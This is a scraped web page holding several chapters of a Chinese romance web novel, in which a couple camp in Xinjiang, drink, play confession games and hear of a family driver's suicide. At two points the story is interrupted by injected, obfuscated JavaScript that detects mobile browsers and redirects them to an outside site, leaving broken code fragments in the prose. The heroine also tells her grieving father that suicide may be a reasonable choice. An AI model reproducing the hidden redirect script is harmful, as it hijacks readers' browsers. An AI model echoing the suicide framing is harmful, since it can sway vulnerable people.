姚柔伊草草地与那三人告别,说顾阎来了,接下来两三天可能没法和他们一起游玩,好在庞天娇这十多天逐渐打开心扉,和另外两个人磨合得很好,不用她多操心。顾阎和乔莎莎一致鄙视她见色忘友,庞天娇在一旁笑而不语。 “饶我这一回吧。”姚柔伊歉意地双手合十,与朋友告别后,打车,直奔机场。 司机见她没有行李,便问:“去接人吗?” “是。”姚柔伊笑答。 “接老公?”司机又问,随口评断:“你不是本地人吧。” “我不是,我来这边旅游的,师傅您怎么看出来的?”姚柔伊忽略到第一个问题,尽管她的心脏因司机的误会已重重跳了两下。 司机说:“一看也不像本地人,我们这边没有你这么水灵的姑娘,气质不一样,新疆的姑娘大多泼辣。” 姚柔伊笑出一串风铃音。 “来这边几天了?”司机继续调侃:“老公这就追来了,看得可真紧。” 姚柔伊捂着嘴,看向窗外,“不是老公。” 司机信誓旦旦:“不是老公,也得是男朋友。” 姚柔伊但笑不语,没有回答。男朋友,男朋友,说是也不是。 “你这么漂亮的女朋友出远门,不放心是正常的。”司机坚持自己的朴素看法。 到了机场,姚柔伊刚想给顾阎发消息说自己到了,就远远就看见了他的身影。 他很高很挺拔,戴着墨镜,黑色口罩拉到下巴处,在人流中特别显眼。顾阎身上穿着休闲款灰T恤和宽松黑短裤,简单的衣服穿在他身上特别有型,他个高腿长,常年健身练出一身漂亮肌肉,什么衣服都能撑起来,堪称完美的衣架子。 他靠墙站,低头在看手机,脚边放着一个黑色行李箱。手机屏幕的光亮打在他的脸上,中和掉面容的冷峻之感,也放大他英俊的五官。 姚柔伊控制不住自己的步伐,越走越快。 许是心电感应,顾阎抬头朝她看过来。 这一瞬间,姚柔伊的脚步慢下来。 顾阎朝她招手。 这手势似乎隔空为她注入了能量与勇气,姚柔伊飞奔起来,这一刻时间仿佛静止,周围的人流和喧闹被按下暂停键,眼前只剩下顾阎的身影,他安静地站在那里,微张开怀抱,脸上带笑。 就像黑夜中的一柄烛火,向她这只飞蛾,轻轻摇晃着火焰,蛊惑她扑来。 姚柔伊就这么撞入他的怀中,被他结结实实地拦腰抱住,他坚硬紧实的身躯,不断地散发着蓬勃的热度,还有淡淡古龙水的气味。 已经不知道是第几次和他拥抱了,每一次她都像一名迷途的旅者,回到了港湾,那里安宁平静,隔绝一切未知的危险。 她搂着他的腰,将上半身全部压在他身上,柔软窈窕的身体曲线与他紧密贴合,她不再如之前那般拘谨,在他怀抱中还要预留一两公分的安全距离。 他的手掌很大,搭在她的腰上,能掐住一半。 那手似乎不怎么安分,蠢蠢欲动地在她腰上揉捏,她半边身子开始发麻,姚柔伊不得不从他怀中抬起头,撞上他的眼睛。 他的眼睛中有深重的欲色。 姚柔伊心惊肉跳。 □□的紧密贴近于她而言是一种心灵的慰藉,而于顾阎而言,更像是痛苦的考验。 再抱一会儿,很有可能要擦枪走火,毕竟姚柔伊已经感受到,他身下某处的变化…… 呵,男人。这世上果然没有坐怀不乱的真君子。 姚柔伊只能松开手臂,后退一步,转移他的注意力,“你怎么来找我了?” “嗯,和政府的那个公益合作项目敲定得很顺利,暂时有了空闲,就过来了。” “你也不早点和我说一声。”姚柔伊轻声抱怨。 “也是刚决定下来,没来得及说。”顾阎的工作安排很满,一旦提前想休假,通常会有突发情况要处理,很难实现原计划的休假,所以他已经习惯一有闲暇时,就马上去做,不再提前规划休息日。 哪怕在登机前,他都有点搞不懂,自己为什么放着难得的假期不休息,特地要跑去新疆来。 仅仅因为突然想见她吗? 真是怪呀。 “你订好酒店了吗?”姚柔伊关心。 顾阎摇头:“不想订,想去露营。” 姚柔伊来到这边十多天,晚上都是在酒店睡的,虽然也偶尔想过扎帐篷睡在草地上,但思来想去还是觉得不安全,没有实施。 见顾阎提议,姚柔伊没半点反驳,“好,那我们去买装备。” 租车,买露营装备,买各种食材和生活用品,回酒店拿姚柔伊的行李,顾阎在两个小时内,高效率搞定一切。 一切就绪,两人开车进山。 姚柔伊侧头看他,仍是很不真实的感受,他居然真的出现在她身边。 “还看?”见她长时间盯着自己,顾阎出声调侃。 姚柔伊伸出手指,戳戳他的手背,感慨:“真想做梦一样。” 顾阎:“听到你这句话,也算没白来。” 窗外日色渐沉,夕阳的残辉为绵延的山脉镀上一层橙红色的边缘,墨蓝,橙红,深黑,从上到下,分界明显,天际挂着一轮瘦瘦的月。 顾阎将车顶天幕打开,又开了两边的窗户,调出了一首《蓝莲花》。 音乐节奏响起的那一瞬,姚柔伊差点想哭,他们好似在私奔,朝着大山深处流浪。 耳畔是呼啸而过的风,车内是明快悠扬的曲调,身旁是从天而降的顾阎,一切都是那么的美好。 人的记忆是由片段构成的,当下这一时刻镌刻在姚柔伊脑海中,多年不曾忘却,在时间的洗礼下,历久弥新。 开了近四个小时山路后,顾阎选中了一片草地,周围有不少扎营的人,不远处还有白色的毛毡房。 顾阎将帐篷支起来,接上电灯,光亮霎那间驱散黑暗。 姚柔伊站在一旁,想帮忙,也帮不上什么,只能去把桌椅和食物拿出来。 后备厢里,除了矿泉水,她还看到了一箱乌苏,这是什么时候买的,姚柔伊没了印象。 两人煮起火锅,锅底和食材一股脑下进去。 顾阎把啤酒搬出来,拿起一瓶,用牙咬开瓶盖,递给她。 姚柔伊在接与不接之间摇摆不定,毕竟她前段时间还跟顾阎说过自己不喝酒,上次去酒吧是个意外。 “拿着,陪我喝点。”顾阎朝她扬了一下酒瓶。 姚柔伊只得接过,为了防止自己人设崩塌太严重,她首先指出他的不对:“你刚才咬瓶盖的样子,一点都不像绅士。”虽然很man,但是太痞气了。 “是不是应该开瓶红酒,倒在高脚杯里递给你,才像个绅士呢?”顾阎边说话,边又抽出一瓶咬开瓶盖。“忍忍吧,大小姐,这边没这个条件。” 这声大小姐叫的姚柔伊脸热,“我的意思是,感觉你在装欸。” “装什么?” “装绅士。” 顾阎举着酒瓶伸过去,邀她碰杯。姚柔伊握着酒瓶,与他轻轻磕了下,细长的瓶颈碰撞,发出清脆的声响。 顾阎仰头,对着瓶直接喝,动作潇洒不羁,只不过与之前的气质差异很大。 姚柔伊还是选择将酒倒在杯子中,泡沫翻涌,在即将涌出杯沿之时停下,分寸拿捏得很到位。 夜色郁静,蚊虫在灯下翻飞,两人喝着酒,谁都没说话。 顾阎接续刚才的话题:“说我在装,你呢,有一点开诚布公的样子吗?” “我,我这不是,这不是得符合你们顾家的儿媳要求吗?”姚柔伊心里有些委屈,要不是你们高门大户规矩多,谁想天天这样装来装去呢? “顾家儿媳?”顾阎含笑,脸一下子凑过来,直视她,“如果我说我根本不喜欢所谓的大家闺秀呢?” “哦,但是你还是需要找那样的人结婚,喜欢和需要是两码事。”姚柔伊偏过头,眼神躲闪。 “……”顾阎哑然,把手里的酒吹完,又靠近她,盯着她的眼睛渐露凶意:“你觉得我是那种没法反抗家族的提线木偶吗?” “可是,娃娃亲,你也没有拒绝呀。”姚柔伊缩了缩脖子,她知道这个回答会惹恼他,可她想听他的真实想法。 顾阎:“那是为了爷爷,如果没他,我能把顾家整翻天你信不信?” 如此嚣张狂妄的话语,姚柔伊心怦然直跳,他好似褪去面具,不再是什么温和谦逊的君子,他直白,热烈,目无一切。 姚柔伊把杯中的酒一饮而尽,又给自己倒满。 她深呼吸,想快些将自己过速的心跳平复下来。 “其实刚开始我确实挺反感娃娃亲的。”顾阎幽幽感叹一句,给自己开了瓶新的。 姚柔伊追问:“现在呢?” “想知道?”顾阎挑眉,混不吝地说:“你先说,你想继续不?” “我是女生,这种事应该你先说。” “Ladyfirst.”他大言不惭。 “就不告诉你。”姚柔伊端起酒杯,眼神狡黠,不肯入坑。 顾阎淡笑,他抬头,朝天上望去,漆黑的夜空上点点繁星,亮得就像身旁人的眼眸。 他提议:“玩个游戏吧。” “什么游戏,太难的玩不来。” 顾阎从口袋里摸出来一枚骰子,往上一抛,又稳稳落回手中。 姚柔伊:“就一枚怎么玩?” 顾阎:“就比最简单的,大小,点数大的可以向点数小的提问,点数相同重投。” “如果拒绝回答有什么惩罚?”姚柔伊好奇规则。 “喝酒,或是对方提一个小惩罚。” 姚柔伊点头:“好啊,光喝酒也没意思。” 顾阎将骰子往果盘上一丢,骰子在盘中快速转动,而后渐渐停止,点数是三。 姚柔伊笑了,这点数完全没什么压力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699801|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她拿起骰子,小心观察面数,找到一个满意的角度,在盘中发转骰子,几秒后不再转动,点数是五。 赢得很轻松,姚柔伊高兴地合掌大笑,乐得像个三岁小孩:“我赢了。” 顾阎愿赌服输:“你问吧。” 该问什么问题呢,过去,现在,还是将来?问过去,能满足好奇心,但答案多少会心梗,问将来,太过遥远,变数太大,最好的选择就是问当下。 姚柔伊:“你现在有喜欢的人吗?” 这个问题过于小清新,也过于好糊弄,顾阎低低笑了声,喉咙闷闷的笑声低哑又磁性,他注视着姚柔伊的眼睛,没有半点迟疑:“有。” “谁?”姚柔伊本能追问。 “等你下一轮赢我时再说。”顾阎在火锅中捞了个鱼籽福袋吃起来。 “好,你等着。”姚柔伊愤愤喝下一杯酒。 顾阎帮姚柔伊盛了些火锅丸子,递过去:“熟了,吃点。” 姚柔伊才没有胃口吃东西,她所有的胃口都被这个问题答案吊了起来。 很快开启第二轮,仍然顾阎先丢,这次他还是扔了个点数三。 姚柔伊志得意满,只觉胜券在握,用了和上次一样的角度和力道,哪知这次手气不佳,竟然丢出来最小点数一。 “到我问了。”顾阎直截了当:“你喜欢我吗?” 姚柔伊怔住,刚才自己怎么就不直接点,非要拐弯抹角地先铺垫一下,结果被顾阎逮住机会直捣黄龙。 在没有弄清顾阎喜欢的是谁之前,姚柔伊是绝对不会提前吐露心声的,她倒了杯酒,一饮而尽:“这把我喝酒。” “啧。”顾阎轻叹:“这就没意思了。”说完也陪了一杯。 姚柔伊瞥了他一眼。心情大好,让别人不痛快的感觉真不错。 顾阎挑衅地扬了扬下巴:“继续,看你今晚能喝多少酒。” “同样的问题不可以问第二遍。”姚柔伊补充了一个规定,以防万一。 顾阎点头同意。 第三轮,双方点数一样,都是点数三。 姚柔伊纳闷:“怎么我三把都是不同的点数,你怎么都扔出一样的?你是不是做了什么把戏?” 顾阎摊手,无奈地耸了下肩膀,“我也不知道啊,可能这就是天意吧,说不定我今晚都扔三。” “那不就成小三了吗?”姚柔伊嘀咕。 顾阎耳尖,捕捉到她的话,凑过去问:“你会让我当小三吗?” “看你表现。”姚柔伊推开他,防止他靠得太近,自己招架不住。 “不许。”顾阎抓着她的胳膊,低低地警告:“之前说好的,不许背叛我。” 姚柔伊抽回手,他才喝了两瓶,不至于这么快醉了,但很显然,他对背叛一事格外敏感,连开个玩笑,情绪都会立马紧绷。 “好的,我没有忘记合约内容。”姚柔伊的手臂还残留着他的掌温与轻微痛感。 游戏继续,顾阎终于扔出了别的点数,告别点数三,迈向点数四。 而这次,姚柔伊却仿佛中了魔咒,还是点数三。 完了,完了,该不会又要喝酒了……姚柔伊内心戚戚然。 顾阎就这么看着她,但笑不语。姚柔伊已经开始给自己倒酒,随时准备接受惩罚。 见姚柔伊如临大敌的样子,让顾阎越看越想笑,以致于真的笑出声,还越笑越大声,爽朗的笑声在草原的夜色中动听如乐章。 姚柔伊气恼,伸手打他:“笑什么笑,你快问吧。” 顾阎已经很久没有这么放松笑过了,他更想逗弄她,“我帅吗?” ……就这?姚柔伊差点以为自己听错了。他就这么轻轻放过了她。 她回道:“帅。”严谨的,发自内心的回答。 顾阎满意地点头,“放轻松啊,你这么紧张,游戏还怎么玩?” 下一轮继续,顾阎点数一,姚柔伊彻底轻松下来:“我这还用丢吗?” “你问吧。”顾阎态度很无所谓。 姚柔伊深吸一口气,鼓足勇气:“还是刚才的问题,你现在喜欢的人是谁?” 此话一出,气氛冷却。 他会喝酒逃避回答吗?姚柔伊的目光落在了他的酒瓶上,渐渐出神。 顾阎拿起酒瓶在她眼前晃一圈,示意她回神。 原本他们是正对面坐的,顾阎起身,把折叠椅提到姚柔伊身边,挨着她坐下。 身边骤然多了个这么大体积的活物,姚柔伊不自在地想躲,被顾阎抬起胳膊揽住。 他的手臂搭在她的肩膀上,他们的头挨得很近,近到都能闻见对方呼吸间的酒气。 这点酒不足以让他们任何一个人醉,甚至连微醺都不够格,可姚柔伊偏偏觉得大脑的意识在涣散…… 酒不醉人人自醉。 他的脸贴上她的,他的手固定在她脑后,不准她移开。 他开口说话时,温热的嘴唇擦过她的面颊,她听见他说—— “不喜欢你,谁他妈跑这么远喝酒?” 22. 第 22 章 草原辽阔,夜风长啸,四下渐静,只有远处一家露营人家的音响传出音乐。 音乐是上个世纪的经典情歌,调子悠长,歌声缠绵悱恻。 他说完那句话后,紧贴的面颊慢慢滑动,薄唇擦着脸缓缓向下,快要蹭到她的嘴角。 姚柔伊身体蹿起一股火,从脚底板一直燃烧至天灵盖,她微微张着唇,心神荡漾地等待着,等待着唇瓣被重重碾压。 手机铃声猝然响起,撕裂了夜幕的寂廖,打破了急剧升温的旖旎氛围。 大脑被冷风一吹,清醒回来,她猛然推开。 此时此刻,如梦方醒。 姚柔伊剧烈喘息,顾阎的唇是压着她的唇线蹭开的,她的嘴角还残留湿润的触觉。 方才那一瞬,他们险些屈服于荷尔蒙的支配,深吻在一起。 顾阎的身子被推得摇晃了一下,直回折叠椅中。他的脸色黑得吓人,眉头紧皱,连眉尾的小痣似乎都透露着躁郁不安。 那枚骰子在激烈的推搡下,悄然滚落,不知落在何处。 姚柔伊手脚慌乱,东张西望好一会儿,才想起手机放在冲锋衣外套兜里。 她掏出手机,是老姚打来的。 姚柔伊平复完情绪,接起:“喂,爸,怎么了?” 老姚应是刚嚎啕完,还喝了酒,带着哭腔颠三倒四:“老周,老周你记得吧,走了,老周走了,闺女走了,老周也走了……想不开,闺女一走老周就想不开,你说这么好一家人,命怎么就这么苦……” “周叔?”姚柔伊当即明白过来老姚说的是谁,前段时间因女儿癌症复发,来到她家借钱的司机老周。从老姚混乱的语句里,姚柔伊提取到关键信息,周叔女儿离世,周叔接受不了打击,也跟着离去了。 周叔为她家效力很多年,算得上半个亲人,听到这样的噩耗,姚柔伊心里堵得厉害,像塞了一团泡着盐水的棉絮。 她来不及为周叔哀悼,此刻还得安慰电话那头情绪不稳定的老姚。 “爸,你别哭了,周叔女儿走了也算解脱,天堂再也没有疼痛折磨,下辈子一定会健康幸福,周叔,唉,我没想到他竟然也……既然他做出这样的选择,想必有他的理由,我们得尊重他的意愿,既然活着太痛苦,离开未必不是一个好决定。” “老周这辈子过得太苦了,跟着我也没过上什么好日子,我没用,我真没用,要是公司不倒闭,我还能多拿出点钱,让老周送女儿去更好的医院做手术,我真没用啊……”老姚说到伤心处,痛哭流涕,懊恼不已。 “人各有命,这不怪你。”姚柔伊害怕老姚过于自责,钻进死胡同,只能尽量劝他想开:“得病这种事是谁也没法决定的,就算手里有钱,对绝症也是束手无策啊,多的是花光上百万还是没救回来的人。” 老姚仍旧是情绪崩溃,一时半会好不了,姚柔伊怕打扰到顾阎喝酒,只能走远点,蹲在帐篷后面,温声宽慰老姚。 人死不能复生,但生者仍需向前看。 大概说了有半个小时,姚柔伊蹲到腿麻,老姚可算平稳下来,总算能挂掉电话。 起身回去时,双腿麻痹不听使唤,一瘸一拐地走到露营桌前。 顾阎情绪不佳,闷不吭声,只顾喝酒,这一会儿工夫,他的脚边又多了四五个空瓶。 姚柔伊将火锅的电源拔掉,大家都没胃口,锅里的东西还剩很多,水已经煮到半干,粘稠得像团浆糊。 顾阎见她回来,眼皮冷冷一掀,语气淡中带怨:“回来了?” “少喝点。”她拍了拍顾阎的肩膀。 顾阎没理会,继续一口气灌了半瓶,明显在赌气。 刚哄完老的,眼下还得哄小的,姚柔伊一个头两个大,她也烦得直想灌酒,她提起喝到一半的酒瓶,也不再将酒倒在杯子里,而是仰头对瓶吹,吹了一大口,狠狠打了个嗝,什么形象也不在乎了,爱咋咋的吧。 顾阎侧目。 姚柔伊叹气,缓缓开口:“刚才你应该也听到了,之前那个来我家借钱的司机老周,女儿手术失败离世,他也想不开自尽了。听到这种事,心里好难受,人生好无常,好人没好报。” “嗯,我经历过这种,前一天还说爱你的人,第二天就自杀走了,就我妈。”顾阎刚才酒喝得比较急,略醉,他伸手要抱她。 头一次听顾阎提起母亲,却是这样意外的结局,姚柔伊大受震撼,她将身子靠过去,歉意地说:“对不起,我不是故意要勾起你的伤心回忆。” “没什么,都过去了,时间是最无情,也是最有疗效的良药,我现在快要记不清她的脸,她说话的声音。”顾阎下巴搭在她的头顶,看着头顶的星空,轻喃:“自杀的人好像不能变成星星。” 深夜难过时都不能望着星空寻找她的所在,哪怕知道那只是慰藉。 冷风再度袭来,姚柔伊伸手,虚握一下,风在她手中似乎有了形状,她说:“就算不能变成星星,也会变成风,变成雨雪,变成世间万物陪着你,直到生命的尽头。” 顾阎摇头苦笑:“这些太虚幻了,我想要真实的人陪着我,可以看见,可以触摸的人。” 她看向他,他也望着她,千言万语都湮灭在静谧对视里。 他的眼神有罕见的脆弱忧伤,由黑夜滋生的情绪注定见不到翌日清晨的朝阳。 可这一刻,这份忧伤快要将人心揉烂。 姚柔伊轻声说:“会有人陪着你的。” 一定会的,我自此虔诚为你许愿,便不是我,也会有其他良人,一生与你相伴。 顾阎并没有接着问,陪着我的人会是你吗?他并不喜欢向别人要未来的许诺,他更想要知道那人当下的情绪感受。 所以他问:“如果当时没有这通电话,你会和我接吻吗?” 沉默,难捱的沉默。姚柔伊用喝酒代替回答。 和他接吻,不是不行,但姚柔伊有一点点特殊的执拗,必须确定和顾阎百分百心意相投,才愿意动真感情。 顾阎说喜欢自己,她的心震动不已,可又不知道这份喜欢究竟有多少分量,仅仅是感兴趣的话,她很难将自己的情感全部交付出去。 她之前并不这样,明明和前几任谈恋爱时,只是顺眼了就能接受在一起,或许是他们都是学生,不必考虑太多,而现在,她 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他还记得那晚在寝室楼下,抽烟被她发现时的尴尬,可现在,他就这么静静地在她面前抽烟,不做任何掩饰。 草原上的夜风越来越大,姚柔伊紧了紧身上的冲锋衣,见顾阎身上还是短袖衫,“冷吗?” “废话。”顾阎的回话又冷又硬。 姚柔伊作势要把身上的冲锋衣脱下来给他披上,顾阎立即制止:“穿好,别冻着,我没事,气得直冒火。” “对不起。”姚柔伊低头,声音很轻,轻到脱口便被风卷走。 “刚才不是很沉浸吗?怎么突然就出尔反尔了?”顾阎拿着烟的手弹了下,烟灰随风飘走,他眯着眼,打量她,似乎想看进她心里,“你们女人都这么善变吗?” “就是觉得没到时候。” “什么时候才算时候,你真是那种封建姑娘吗,该不会演着演着自己当真了?”对于顾阎而言,兴之所至便是最好的时候。 “不是我不想,就是没到时候。”姚柔伊低声重复,不知道是想说服顾阎,还是说服自己的心。 顾阎勾起她的下巴,把她的脸转过来,让她的视线只能落在自己脸上。 “给个准话,你的时候到底是什么时候?” 姚柔伊抬眼,似是下定决心,她快速凑近他,险些撞上他的烟,顾阎后仰,把嘴上的烟拿下,防止伤到她,姚柔伊眼疾手快抢走他手里燃了一半的烟,放入口中,猛吸一口。 她继续靠近,在鼻尖离他三厘米的地方停住,将烟圈缓缓吐出,一字一句说的很笃定:“当你非我不可的时候。” 一阵狂风呼啸而过,头顶的吊灯剧烈摇晃起来,光线骤乱,恰似此刻的顾阎,心旌摇荡,久久难安。 他想,这是他们认识这么久以来,她最美的一幕。 “好,我很期待那天。” “我也很期待。”姚柔伊将烟重新放回他的口中。 他们心知肚明,这一天不在于他,而在于她。 23. 第 23 章 夜深天冷,他们放弃了睡帐篷,回到车里睡。 他们租的这辆车可以将前面的座位全部放平,形成一个小床,方便休息。 他们把没喝完的酒拿回车里,继续喝。 一扎乌苏全部解决之后,姚柔伊来了尿意。 她看向窗外,黑得伸手不见五指,心里不由得犯怵,她问:“你想不想去卫生间?” “我陪你去。” “我问你去不去,你不去就在这等我。” “那好,我不去你去吧。” 姚柔伊咬牙切齿,“我客气一下你别当真啊。” 顾阎失笑:“对付你,就得这样,不然你能装个没完。” “呵呵。”姚柔伊冷笑。 自从之前喝酒暴露了一次本性后,他们互相之间都开始用一种我知道你很装,但你装我也装,大家心知肚明,谁也别嫌弃谁的态度相处。 下了车,打开手机的手电筒,光线很弱,只能照亮很小一片,更多的地方仍被无边的黑暗吞噬。 她小心翼翼地走,防止踩到不明粪便,同时还要回忆之前看到的公厕具体方位在哪。 还好身边有顾阎,不然她现在真得疯,深夜的草原真是,又黑又冷又吓人。 走了十分钟,顾阎说:“就在这解决吧,公厕估计很脏。” 露天席地,她实在干不来,反驳道:“再脏也算有个遮挡,我就要去。” “好吧,你去就知道了。” 又走了十分钟,姚柔伊快要憋不住了,总算看见了公厕,她过去打开门,一股恶臭铺面袭来,姚柔伊当即就要呕吐出来,这种脏根本不是正常人能承受的,粪便快要涌出来,连个下脚的地都没有。 她心如死灰,确实如顾阎说的那样,还不如就在刚才那里解决。 “怎么办?”姚柔伊来到新疆,遇到了最糟心的事莫过于此。 顾阎:“在外面解决。” 姚柔伊要哭了:“可是好崩溃,直接在外面解决太突破我的心理防线了。” “还能忍多久,我现在开车带你找酒店。” “憋不住了,早知道不喝酒了。”姚柔伊否决他的提议,“而且喝完酒不能开车。” “这点酒对我不算什么,这段路没人查车,看你选择。” “算了算了,丢脸就丢脸吧,还是不冒险了。”她更害怕万一没憋出尿在车上,可比在草地上解决丢脸一万倍。 “我要去那边,你离远点,不许看过来。”姚柔伊指了个方向。 顾阎点头,往路边走,背对着她。 姚柔伊不敢走太远,在离顾阎十米远的地方,解开裤子蹲下。 既羞耻,又害怕,让她根本顾不了太多,赶紧火速解决完,然后掏口袋的时候,发现没带纸。 她又要崩溃了! 怎么连这点小事都忘记! 不擦直接提裤子会很不舒服,可叫顾阎送纸,那简直丢脸丢到外太空。 在她万般纠结的时候,手机收到顾阎的消息。 【怎么还没好?是在大的?】 姚柔伊豁出去了:【你带纸了吗?】 顾阎:【……】 顾阎:【餐巾纸可以吗?】吃火锅时他抽了几张。 姚柔伊:【可以,你闭着眼睛送来!】 这太高难度了,顾阎无语,他还得看路啊,草原看似平整,实则坑坑洼洼,不仔细看路很容易踩空崴脚。 顾阎没有理会姚柔伊的无理要求,他转身,一眼就能看到不远处的姚柔伊手机的光亮。 她蹲在那里,拿手机遮住脸,另一个手伸出张开手掌,等着接东西。 他的视线很难不注意到那片雪白。 可基本的教养规训他移开视线。 顾阎将餐巾纸塞进姚柔伊的手里。 拿到纸后,姚柔伊攥着手中的纸,挥臂催他走开,“不许看,你离远点。” 姚柔伊的情绪已经濒临崩溃,顾阎自然不敢逗她,言听计从地走回刚才的位置。 十秒钟后,姚柔伊提好裤子,快步走过来,她的脸红得像傍晚的云霞。 她抽着鼻子,咬牙切齿地问:“你刚才没有看到什么不该看的吧?” 顾阎并不坦诚:“没有。” 这种尴尬的事情,遮掩真相也是一种善意。 姚柔伊“嗯”了声,不继续追究,她实在承受不来,恨不得赶紧把方才的记忆从脑海中摘出来,彻底删除。 “回去吧。”顾阎说。 姚柔伊点头。 两人安静地并排走着,默契地没有提起刚才的事。 本以为今夜已经渡劫完毕,哪知道回去的路上,姚柔伊心不在焉,脑子里一直反复播放刚才的窘迫情形,一不留神没看清脚下,踩中了一处柔软地方。 紧接着,臭味立马被激发出来,直冲脑门。 她担惊受怕十来天的踩屎一事还是没有躲过去! 姚柔伊本来酒后情绪就容易敏感低落,再接二连三的发生崩溃事件,她脆弱的神经彻底崩裂,当即哭出声来。 “我怎么这么倒霉啊啊啊啊啊啊——”姚柔伊悲泣长嚎。 她的哭声在寂静的草原格外清晰,周围不少露营驻扎的人打开手电,从帐篷中伸出头来一探究竟。 顾阎不怎么会安慰人,但擅长解决问题,他直截了当地说:“把鞋脱了,扔了不要了,我抱你回去。” 此刻的姚柔伊根本没法冷静,脑袋一片浆糊,只能听顾阎的话照做,她脱掉鞋,一脚踢老远,恨不得把霉气全部踢走。 顾阎将她抱起。 姚柔伊拿手机照路,在他怀里小声抽泣。 伸头围观的人,见动乱平息,没热闹看了,也缩回去。 顾阎将姚柔伊抱回车里。 姚柔伊躺在放平的座椅上,万念俱灰,身体像被抽走了所有力气。 顾阎又去远处方便,几分钟后回到车里。 姚柔伊脸上还挂着泪,见顾阎回来,拧了一瓶矿泉水洗手,她才想起自己也没洗手,把手探出车窗,让顾阎给她倒点水顺便洗了。 一切收拾妥当,顾阎回到车里。 “今晚发生太多事了,一天顶我十天。”姚柔伊感慨,前些天晚上她只需要洗完澡躺酒店床上选照片,再刷一下别人的攻略帖子,计划明天要打卡的美景或美食。 而今晚,又是和顾阎喝酒玩游戏,又是听到熟悉的人的死讯,又是露天解决尿急还没带纸,又是一不留神踩到屎,没一样省心的。 唯一让她舒心的就是听到顾阎承认喜欢自己。 好吧,这件事也算勉强能抚慰其余的不愉快。 顾阎也感慨:“我也没想到,会有这么多事,本来只想单纯露营的。” 结果他们还是睡在了车上。 “我睡不着。”姚柔伊看着车顶天幕,透过玻璃顶,能看见星罗棋布的夜空。 顾阎伸手抓住她的手揉捏,“再玩个游戏吧。” “骰子都不知道掉哪了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720122|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姚柔伊没有抽回手。 “不用骰子。”顾阎提议:“各自在心里想一个数字,数字大的向数字小的提问,只回答‘是’或‘不是’。” 这倒是简单,但……“如果不回答怎么办?” “亲对方一下。” 姚柔伊:“亲哪里?” “随便,自己决定。” “那感觉我比较吃亏欸。” 顾阎偏过头,笑:“亲我这么个大帅哥很吃亏?” 姚柔伊对上他的调笑的眼睛,剑眉星目,英气逼人,完全在她审美点上,他很清楚自己外貌的杀伤力,姚柔伊偏要打击他一下:“不知道你听没听过那个梗?” 顾阎挑眉,示意她说下去。 “就是一个普男在聊天时给女生发‘头像是我,不满意?’”姚柔伊啧啧两声:“你刚才自信的样子快有这风范了,你没听过别人说自卑是男人最好的医美。” “不好意思了,自卑不起来。”顾阎完全不知道这个梗,也半点没有被打击到,他早已习惯了张扬狂妄。 姚柔伊也笑:“其实我也不怎么认可这句话,那些真正帅的男人,说自己自卑,其实不过是装自卑的心机男,真自卑的男人通常畏畏缩缩的,做事瞻前顾后,一点都不酷,很难跟帅沾边。” “其实真正能打击到我的事情并不多,”顾阎坦白道:“刚才你说不想和我继续接吻勉强算一件吧。” 我没说不想,我只是沉默,沉默代表摇摆不定,而不是真的不想。姚柔伊在心里为自己辩解。 “好吧,我同意玩游戏。” 三秒后,顾阎说:“说说你刚才想的数字。” 姚柔伊立即意识到不对劲:“凭什么我先说,如果我先说出来,你随便说一个比我大的,我不就输了,这不公平。我觉得应该我们在备忘录里各自写下数字,然后给对方看,这样才公平。” “搞这么麻烦干什么,我先说,18。”什么游戏,不过就是一个深入聊天的由头,他并不在乎规则公不公平。 姚柔伊毫无客气:“那我的数字是19。” “好,你问。” 姚柔伊:“你刚才是不是看见我那个了?” “哪个?”顾阎开始使坏。 姚柔伊一脸吃了苍蝇的便秘表情,嘴巴张开又合上,欲言又止,最后不得已吐出个英语单词:“ass!” 顾阎彻底笑出声,胸腔都在震动共鸣,他答:“是。” 果然!就不能信他刚才的鬼话! 下一轮,顾阎又主动先说数字,“99。” 姚柔伊故意接道:“那我的数字是100。”反正就是比你多1,你不是不在乎公平与否的吗? “问问问。”顾阎很放松,脚搭在方向盘上随意晃动。 “你是不是有过刻骨铭心,不能忘怀的旧爱?” “你也会翻旧账吗?一边不肯跟我接吻,一边又要翻旧账,你到底怎么想的啊?” 他仍旧为此耿耿于怀。 “你只需要回答是或者否。” “否。”顾阎很肯定地说:“我不想骗你说我没有过去,但你说不能忘怀那还真没有,所有离我而去的,我一概不回头,沉溺于过往是一件很痛苦的事情,我妈离世的那两年我有过那种日子,浑浑噩噩很没意义,某天想通了之后我就不再会为任何人、任何事情留恋,甚至包括我妈。” 他闭上眼睛,说了一句很空泛,却很打动她的话:“我只在乎当下,不问过去,不论将来。” 24. 第 24 章 清晨的山谷草原,是这世上最清新自然的之地。 姚柔伊醒来时,车里就她一个人,天光大亮,她挣扎着坐起,慌乱地朝车窗外看,寻找顾阎的身影。 顾阎正蹲在不远处的坑边刷牙,手里握着一瓶刚开封的矿泉水。 他身上披了一件黑色冲锋衣,下半身还是昨天的短裤,小腿劲瘦颀长,腿毛旺盛蜷曲。 寻见他身影,姚柔伊安下心来,又躺了回去。 身上盖的毯子并不是她的,应当是昨晚她睡着之后他给她盖上的。 昨天是怎么睡着的?她有些轻微失忆,她记得他们一直在问各种各样的的问题,当然大部分是她问他的,她不敢深入问他的前任,怕给自己找不痛快,就天南海北问了一大堆乱七八糟的,甚至还问到小时候尿没尿过床,偷没偷拿过家里的钱。 